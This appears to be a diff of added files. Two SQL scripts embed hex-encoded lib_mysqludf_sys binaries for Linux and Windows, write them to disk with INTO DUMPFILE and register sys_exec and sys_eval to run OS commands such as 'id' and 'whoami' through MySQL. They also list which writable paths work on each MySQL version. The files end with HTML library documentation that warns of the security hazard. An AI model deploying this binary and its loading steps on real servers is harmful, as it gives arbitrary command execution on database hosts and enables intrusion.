UPDATE udftest SET data=CONCAT(data,0x000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000d4000000d4000000dc000000030000000000000004000000040000000b000000f6ffff6f02000000b0010000b0010000b400000003000000000000000400000004000000150000000b00000002000000640200006402000040020000040000000100000004000000100000001d0000000300000002000000a4040000a4040000c50100000000000000000000010000000000000025000000ffffff6f020000006a0600006a060000480000000300000000000000020000000200000032000000feffff6f02000000b4060000b40600005000000004000000010000000400000000000000410000000900000002000000040700000407000098000000030000000000000004000000080000004a00000009000000020000009c0700009c07000010000000030000000a0000000400000008000000530000000100000006000000ac070000ac07000030000000000000000000000004000000000000004e0000000100000006000000dc070000dc0700003000000000000000000000000400000004000000590000000100000006000000100800001008000088060000000000000000000010000000000000005f0000000100000006000000980e0000980e00001c000000);
UPDATE udftest SET data=CONCAT(data,0x00000000000000000400000000000000650000000100000032000000b40e0000b40e000002000000000000000000000001000000010000006d0000000100000002000000b80e0000b80e00000400000000000000000000000400000000000000770000000100000003000000041f0000040f000008000000000000000000000004000000000000007e00000001000000030000000c1f00000c0f00000800000000000000000000000400000000000000850000000100000003000000141f0000140f000004000000000000000000000004000000000000008a0000000600000003000000181f0000180f0000d000000004000000000000000400000008000000930000000100000003000000e81f0000e80f00000c00000000000000000000000400000004000000980000000100000003000000f41f0000f40f00001400000000000000000000000400000004000000a1000000010000000300000008200000081000000400000000000000000000000400000000000000a700000008000000030000000c2000000c1000000800000000000000000000000400000000000000ac0000000100000000000000000000000c100000b90000000000000000000000010000000000000001000000030000000000000000000000c5100000b500000000000000000000000100000000000000);
-- Export the hexadecimal encoded UDF to a binary file on the file system
--
-- On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0:
--
-- From MySQL 5.1 and 6.0 official documentation:
--
-- shared_library_name is the basename of the shared object file
-- that contains the code that implements the function. The file
-- must be located in the plugin directory. This directory is given
-- by the value of the plugin_dir system variable.
--
-- Note that /TODO/plugin DOES NOT
-- exist by default so it is NOT possible to save the SO in the proper
-- folder where MySQL server looks for SOs.
-- SHOW VARIABLES WHERE variable_name='plugin_dir';
--
-- References:
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
-- http://dev.mysql.com/doc/refman/6.0/en/create-function-udf.html
--
-- The SO can be only in /TODO
-- SELECT data FROM udftest INTO DUMPFILE '/TODO/lib_mysqludf_sys.so'; -- On MySQL 5.1 >= 5.1.19
-- SELECT data FROM udftest INTO DUMPFILE '/TODO/lib_mysqludf_sys.so'; -- On MySQL 6.0
--
-- On MySQL 4.1 < 4.1.25, MySQL 5.0 < 5.0.67 and MySQL 5.1 < 5.1.19:
--
-- From MySQL 4.1 and 5.0 official documentation:
--
-- shared_library_name is the basename of the shared object file
-- that contains the code that implements the function. As of MySQL
-- M.m.m, the file must be located in the plugin directory. This
-- directory is given by the value of the plugin_dir system variable.
-- If the value of plugin_dir is empty, the behavior that is used
-- before M.m.m applies: The file must be located in a directory
-- that is searched by your system's dynamic linker.
--
-- References:
-- http://dev.mysql.com/doc/refman/4.1/en/create-function-udf.html
-- http://dev.mysql.com/doc/refman/5.0/en/create-function-udf.html
--
-- The SO can be in either /lib, /usr/lib or one of the paths specified in
-- /etc/ld.so.conf file, none of these paths are writable by mysql user by
-- default (tested on MySQL 5.0.67 with NO plugin_dir set in my.cnf
-- configuration file, which is the default setting)
-- SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
-- SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 5.1 < 5.1.19 with NO plugin_dir set in my.ini configuration file
--
-- Notes:
-- If the library file already exists, the user mysql does not have access
-- to overwrite it
-- The following enumerates the MySQL data directory
-- SELECT @@datadir
-- The followings will save into /var/lib/mysql/. It is not a valid PATH
-- where MySQL looks for SO
-- SELECT data FROM udftest INTO DUMPFILE './lib_mysqludf_sys.so';
-- The following will save into /var/lib/mysql/mysql where 'mysql' is the
-- database name where it is connected. It is not a valid PATH where MySQL
-- looks for SO
-- SELECT data FROM udftest INTO DUMPFILE 'lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql
-- The following would save into / (Permission denied)
-- SELECT data FROM udftest INTO DUMPFILE '/lib_mysqludf_sys.so';
-- Create two functions from the binary UDF file
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
-- Test the two functions
SELECT sys_exec('echo test > /tmp/lib_mysqludf_sys.txt'); -- -rw-rw---- 1 mysql mysql
SELECT sys_eval('cat /tmp/lib_mysqludf_sys.txt ; id');
-- Cleanup the file system and the database
SELECT sys_exec('rm -f /tmp/lib_mysqludf_sys.*');
DROP TABLE IF EXISTS udftest;
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0

View File

@@ -0,0 +1,128 @@
-- Notes:
--
-- The DLL compiled using MySQL 5.1.30 C libraries works also on MySQL
-- 5.0.67 and MySQL 4.1.22
--
-- DLL compiled using MySQL 5.1.30 C libraries
-- lib_mysqludf_sys.dll: 9216 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit)
-- lib_mysqludf_sys.dll: 6656 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed)
--
-- Little hack to compress the dynamic-linked library:
-- * Read instructions on http://rpbouman.blogspot.com/2007/09/creating-mysql-udfs-with-microsoft.html
-- * Remember to compile it under Visual C++ 2008 with the
-- 'Configuration' set as 'Release'
-- * Use upx (http://upx.sourceforge.net) over the DLL:
-- * upx -9 library.dll -o library_upx.dll
-- Create a table with one field data-type text
DROP TABLE IF EXISTS udftest;
CREATE TABLE udftest(data blob);
-- Insert the hexadecimal encoded UDF in the table
--
-- DLL compiled using MySQL 5.1.30 C libraries
INSERT INTO udftest(data) VALUE (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000ad137127e9721f74e9721f74e9721f74e00a8c74eb721f74e00a8a74e8721f74e00a9c74e7721f74e00a9b74eb721f742a7d4274ea721f74e9721e74c0721f74e00a9674e8721f74e00a8d74e8721f74e00a8e74e8721f7452696368e9721f7400000000000000000000000000000000504500004c010300ce2e8e490000000000000000e00002210b010900001000000010000000600000507c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020040010000100000100000000010000010000000000000100000007c830000b8010000b4820000c800000000800000b402000000000000000000000000000000000000348500001000000000000000000000000000000000000000000000000000000000000000000000001c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000);
UPDATE udftest SET data=CONCAT(data,0x000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e303300555058210d090209285e83bd2629a7f017550000480c000000240000260000eb);
UPDATE udftest SET data=CONCAT(data,0xffcbffff8b442408833800741956578b7c2414b90c00be000010e8f3a566a56edd92ff5fb0015ec332c0c3cc2f0c2ab907fbeddbcf26111c8bf8288b4c24182ca45fc7011e16f7cf0eac5e2ecc5f0175128b4004676430f76e750a2c04c6010155710a1db2d8f3113ca4723f8b484df7efbe021152ff15968083c40485c075084514c365dffeff8bc8568d71018a114184d275f98b54142bce890a4019bb6dba7f4c39026b74186d07b0df4b06688b419974158db6ae9d9d88f3fdc7b61100230c5d37f6df85048b108d44110250899859108d893c19a16b1990173c0611b05b4a68935fe70f464085ed767732740a890aff254aa0c31f6fdb42fb53568b745b1d78734602088b46f6eddb2fd18d5c39010a525157e8300c108b5617d6de65fb02c60407974e5104219d1c76fb36c95342d2c4185357220300ad6cae843f005f5e995bc34f9099c309830c20af0b03a8c35dc242dc0081ec10305bd7f85ba102200033c489842c0d8b0620dcdc373f8c2424538b9c241c07556a01db2038360214893d515397f0fcc7de6dd76863cc5033ff14948bd8538d4c24287063edae3251895c421688debe712b6c435355904c8d5001084084c9cb63bf5d2bc22e8d2c3b55563b848bf054dde6842f528d043eb48c24511334db70d8634f528bfd4d20c4b38b5ebf6d4678105d53189c803eb3c67436c6443b04fbee3eff0063eb038d);
UPDATE udftest SET data=CONCAT(data,0x490068fc6c0d3f777b5f8901205e5bd8e633cc7e0375bceee17481c401c31418f4935f0f0fecad221bc602011e3b0d2275c60cfff602f3c3e90807318bff5668805fb778ffdd7e56c07c5959a3062358045485f67505dbb07be133c040748326004908ff270929098e36d6fde8c70424063b0b5923d2efddbffdff558bec51510a39450c750e39056b107e3cff7337deb51bb37d0cb50910488b096957897c6cdd770a23480f85d47d641718ec797677db6d5135202c893d50bb1e50eb184af0c1febba705f43bc7741768e803a8306a0057aedbdeb02ed63ae7eb07c72c013ca12feddeddf04c6a025e9d096a1f920aa6eb3caa10bcae7deffd04b4c7051f281aa0e027fdfbbeb3075cf120b004ac1b9a59893573a576e32b085939b2f26973dfeebdfb34393d155c741c68062809dc430dd8f65ae1ff751034252316fff1acb919be54ee01dc0801a1db76367b6378d665fc00dfdb0fd4ac3dc944fc83f80266d26dec1b1b595bffa0584b7031fb0e376daf45d70f8487c7195413a5bbb6401e8b141810897d563fb6f5edef043bc87251833f6cf36a74390774e92d3cdbdaff372620f8108907b9f8b8bd599b5615441b474df86bdf1adf900c394d1003d00874b4890902886db76d0c1a0860eba7f60c3d881163564d442e38200bdb5758064c32fc3f5079811d8e4390c9c2e96a1068cd7de37712d8d0d88bd2f28b5d08);
UPDATE udftest SET data=CONCAT(data,0x1c548597ddede433c95cfc897d2008fc3bf15abfdb5a8c393a4417e4f906ea3bf07405db16defd83fe02752ea152dc3bc1749e565fd03b7066e1865ee4000393113bd983fbf1d2141680120ab22735bb61ebfe642464205750135e436cb60e002f52d2061137ecafd153f76a0375434f34871df66c032168742e2c257febe3ad81851b71ec3409aae050516468854be5ac1065e8f62fb65ddb70fad2feff001907032ae4a4ae3dee070b1dc396ec16ff3bf07885d3246a1b5419de5da07d54550c0d05f8595d38b4a1dc8a22e928035f2120e6e6e6cd43051c891518891d14893569b6efe610893d0c668c1838060d2c666996661d0805042558fbee96002d7ffc9c8f14309556ed9f3fdb240704288d4508348b85e0fca05d3b1b63aa7095011c1920c6d8d6b12413180958c0091cb32c9fbb6b608985d8320a04dc57e01bc3031834687edf8f7d9af1ec596af75010e00a20833dd83bac7d2000f923685b1b7c4f9fc0244928c9c380401ef292223b2e5f6a144a13001531e9b190aaf8a29cc6e107bf7359eb676a08a904598fedd61d921b27355934e0f5f31d6e85bf03e4507f4b7c8cad6d5f506efe1cdc142cd6e2c4582a5b09e01b14f46393e525db08dfdc6c0bfe73130ab9d94e1e43f7d81bc0fa36edde0359485d1656b807c8be0457e946c75f503bc6730f8b0753025083c7b3f21c567afe72f13025d0d0f68dd8);
UPDATE udftest SET data=CONCAT(data,0x14cc632f08b84d5a287f57bac466b374045262413c03c18138501bfcfb974575ef33d2b90b011c48180f94b0c29a6209895d7f3fd748b65b81df31c80fb74114a20571063357c5c6d20de908180b76de7db5ffffdf8a0c3bf972098b580803d93bfb720a4283c0283bd672e86a1c0ed933d94e4f6afe9d17705c30d00635640cfc5083c3ad31ccec0823316033c56a7c86d277f064a31a892a46096877843e2c49f0d2094c7574559734cb645f2d1350198c083b41b8f05b2d24c1e81ff709e00183bbedd40a034f170059948be5ebd84e6a969701ca3da3c0fab216ec14972fbb3191b111bacc1e540540fcb8a491444ca312aa10dc9d5c87b1095f14c3a45cb4c7acfbef5400d75cb6d9968e6c038d2be0fafcc11a68cef13ca8fc8a039b0403710dc395707018679651481473e2e3ddcdd86903786851d70ab142efe19c56a30e68f885225b7cf892bf4ee640bb25eea0397866760d85c3255aa39f0a358e04eb60ca78116bed935d388b7598920bae0c32b640f007080c9dfed66e672710b4f4330c113bf77507be4fe0b768ef59eb0b85f30a95c1e0100bf0a1f4b147c200f7d607045e5f5bb43f1919191b5005585c60811d1919646ca4000004c84305038700feff50a1172f4e6f20617267756d656e7473ddffffdf096c6c6f77656420287564663a206c69625f6d7973716c0d5f3f32f7b773085f696e666f293918);
UPDATE udftest SET data=CONCAT(data,0x20766572777fdbfe73696f6e20302e01331f45787065637447657861eddb6f6f076c79201a65207374723f672074791b806d6d6b7572617121722bb065013b7477911f3f1f30f7968672206e4148436f756cdbb6636f246e6f74c463611320186d27a204766e79af660048b5ffffe66e201712c0015253445360a91de01b43b243bdf182720ea1bdf958d103c502633a5c4476476e6efb6edb8a539674b0735c41646d0769bed6fe7f6b938e2e57324b335354454e5550444106336d7bfbf665736b16705c7368c9655c762675be23a1b9ff5f6370705f70726f6af83e6ccb3e65ff5c52656c65617365182e706462c97c2716c8351bc707d0674d259b0ff50707069d92c3bad303e727cc08e3e84ed8810fd81f0a6b037f56a82090209e2b1210008d4516c1beb119bf44ff003400301855ff01162100e9b03c53505c100103c0bf00c7456e7669726f6edbbb2fdb7f5661726961626c6541184743757272145072ecf640fe6f636573734964546805616413d61a001f5469636ba1150dbd01d0fe51756572795003c36d616ef6de5aac37160e184469735937ffcbdf7e4c6962726a7943616c6c73497344656275676765db63ae9572685c96556e684064626f6f6f3164457846707469a146696c4adb52b6c219b4125417c9da0640a0611e11b65bdbbe49906c0c6b409d6d7087656bcd35e747517f77555122b6bb65091b);
UPDATE udftest SET data=CONCAT(data,0x5c537973186d0bafbbd0ee2b41737365094c69ddeef634405f686974396d5f2e5fdffedaf6616d73670878110b646a753a5f666469fbb0f6bb760d5f4370705863b9b65f63721b05ec076164035f686f6f6b4bb800b6f62f636a835f1c75017c01a55f1d735ec16dce0a1f0a6c2164ad58b0adf02a17096e75131346982c0f652f5f3dd65cdbda723456fe6d1c187b0af67db1b7035f706f52296e1064687b2f80ef756c5e6d75a61bdcd696252cb3066ed633b8ed19d82508661167efbd83db5a9ce4790835c7b73773ad32c06e4d0fd76f737bcd950d75667216232e00ffffff1f19274b254920211c2f63183427310c0917251217136517090705160cbffdffff1e080a0b160918181505061b050c10060717062105110f061421110b93efffdb082b2205070d111d0d18532d4838060007d9fead950848330a090b0c0510051616f76fff760e0b34150b18160d3d0542b605121e14066932c7dae67f110c0e1d4d0517230d0c24082400f0a2410be2ff042804f0280104e008041cca0fab7f43d64c010500ce2e8e4938e000642160f902210b01090e6612f6bdc972121710090b021ed27cb3c905070360045bf6deef32f61e40012a0207069fb9dc062703b7013c230f40e7a6cc6c4fb000500227ec40565dc0771cd9d0214207926e59002fac2e746c36d8e66578741a0c900eb74260ddd287602e72647661ab08fb6b);
UPDATE udftest SET data=CONCAT(data,0x0e5bc20a1302402e2649d374dffe032730021c0bd6b84dc04f737235ebb0d10860df731e4f4dc920cdcd5e4f980150223e72fb4d421b242412a052445300000000000000000900ff0000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d870f02000080207f8060287f585054);
UPDATE udftest SET data=CONCAT(data,0x505357ffd558618d4424806a0039c475fa83ec80e9f998ffff00000048000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300010c02200100100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
UPDATE udftest SET data=CONCAT(data,0x0000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d);
UPDATE udftest SET data=CONCAT(data,0x6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c46726565000000667265650000000000000000ca2e8e49000000003a840000010000000f0000000f000000a4830000e08300001c840000301000004012000000100000501200004012000010120000f01100004012000010120000a010000040120000601000009011000070110000e01000004f84000065840000828400009d840000a6840000b6840000c4840000cd840000);
UPDATE udftest SET data=CONCAT(data,0xdd840000eb840000f3840000028500000f850000178500002685000000000100020003000400050006000700080009000a000b000c000d000e006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e6974000000700000100000005d3c583e5c3e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
-- Export the hexadecimal encoded UDF to a binary file on the file system
--
-- On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0:
--
-- From MySQL 5.1 and 6.0 official documentation:
--
-- shared_library_name is the basename of the shared object file
-- that contains the code that implements the function. The file
-- must be located in the plugin directory. This directory is given
-- by the value of the plugin_dir system variable.
--
-- The DLL must be in can be in C:\Program Files\MySQL\MySQL Server M.m\lib\plugin
--
-- Note that C:\Program Files\MySQL\MySQL Server M.m\lib\plugin DOES NOT
-- exist by default so it is NOT possible to save the DLL in the proper
-- folder where MySQL server looks for DLLs.
--
-- References:
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
-- http://dev.mysql.com/doc/refman/6.0/en/create-function-udf.html
--
-- The DLL can be only in C:\Program Files\MySQL\MySQL Server M.n\lib\plugin
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/lib_mysqludf_sys.dll'; -- On MySQL 5.1 >= 5.1.19
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 6.0/lib/plugin/lib_mysqludf_sys.dll'; -- On MySQL 6.0
--
-- On MySQL 4.1 < 4.1.25, MySQL 5.0 < 5.0.67 and MySQL 5.1 < 5.1.19:
--
-- From MySQL 4.1 and 5.0 official documentation:
--
-- shared_library_name is the basename of the shared object file
-- that contains the code that implements the function. As of MySQL
-- M.m.m, the file must be located in the plugin directory. This
-- directory is given by the value of the plugin_dir system variable.
-- If the value of plugin_dir is empty, the behavior that is used
-- before M.m.m applies: The file must be located in a directory
-- that is searched by your system's dynamic linker.
--
-- References:
-- http://dev.mysql.com/doc/refman/4.1/en/create-function-udf.html
-- http://dev.mysql.com/doc/refman/5.0/en/create-function-udf.html
--
-- The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
-- C:\WINDOWS\system32, @@basedir\bin or @@datadir (tested on MySQL 4.1.22
-- and MySQL 5.0.67 with NO plugin_dir set in my.ini configuration file,
-- which is the default setting)
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 4.1/data/lib_mysqludf_sys.dll'; -- On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.0/data/lib_mysqludf_sys.dll'; -- On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/data/lib_mysqludf_sys.dll'; -- On MySQL 5.1 < 5.1.19 with NO plugin_dir set in my.ini configuration file
--
-- Notes:
-- If the library file already exists, the user SYSTEM does not have access
-- to overwrite it
-- The following enumerates the MySQL data directory
-- SELECT @@datadir
-- The followings will save into @@datadir. It is a valid PATH where MySQL
-- looks for DLL
SELECT data FROM udftest INTO DUMPFILE './lib_mysqludf_sys.dll';
-- The followings will save into @@datadir\mysql where 'mysql' is the
-- database name where it is connected. It is not a valid PATH where MySQL
-- looks for DLL
-- SELECT data FROM udftest INTO DUMPFILE 'lib_mysqludf_sys.dll';
-- SELECT data FROM udftest INTO DUMPFILE '\lib_mysqludf_sys.dll';
-- The following will save into C:\. It is not a valid PATH where MySQL
-- looks for DLL
-- SELECT data FROM udftest INTO DUMPFILE '/lib_mysqludf_sys.dll';
-- Create two functions from the binary UDF file
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
-- Test the two functions
SELECT sys_exec('echo test > %TEMP%/lib_mysqludf_sys.txt'); -- %TEMP% path is C:\WINDOWS\Temp
SELECT sys_eval('echo %TEMP% && whoami');
-- Cleanup the file system and the database
SELECT sys_exec('del %TEMP%/lib_mysqludf_sys.*');
DROP TABLE IF EXISTS udftest;
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0

View File

@@ -0,0 +1,278 @@
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel="stylesheet" type="text/css" href="../mysqludf.css"/>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>lib_mysqludf_sys - A library of MySQL UDFs for working with the environment in which MySQL runs</title>
</head>
<body>
<div>
<a href="../index.html">Top</a>
| <a href="../mysql_udf_repository_libraries.html">Up</a>
</div>
<h1>lib_mysqludf_sys</h1>
<div>
<a href="lib_mysqludf_sys.html">Documentation</a>
| <a href="lib_mysqludf_sys.so">Binary</a>
| <a href="lib_mysqludf_sys.sql">Installation</a>
| <a href="lib_mysqludf_sys.c">Source</a>
| <a href="lib_mysqludf_sys_0.0.2.tar.gz">tar.gz</a>
</div>
<p>
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
</p>
<ol>
<li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
<li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
</ol>
<p>
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
</p>
<a name="sys_eval"></a><h2>sys_eval</h2>
<p>
<code>sys_eval</code> takes one command string argument and executes it, returning its output.
</p>
<h3>Syntax</h3>
<pre>sys_eval(<b>arg1</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A command string valid for the current operating system or execution environment.
</dd>
<dt>returns</dt>
<dd>
Whatever output the command pushed to the standard output stream.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_eval;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
exposing the function poses a very real security hazard.
</p>
<p>
Even for a benign user, it is possible to accidentally do a lot of damage with it.
The call will be executed with the privileges of the os user that runs MySQL,
so it is entirely feasible to delete MySQL's data directory, or worse.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
Currently, we do not have UDF's for ftp, email and http,
and this function can be used to implement such functionality in case it is really necessary
(datawarehouse staging areas could be a case in example).
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
<p>
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
</p>
<a name="sys_exec"></a><h2>sys_exec</h2>
<p>
<code>sys_exec</code> takes one command string argument and executes it.
</p>
<h3>Syntax</h3>
<pre>sys_exec(<b>arg1</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A command string valid for the current operating system or execution environment.
</dd>
<dt>returns</dt>
<dd>
An (integer) exit code returned by the executed process.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_exec;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
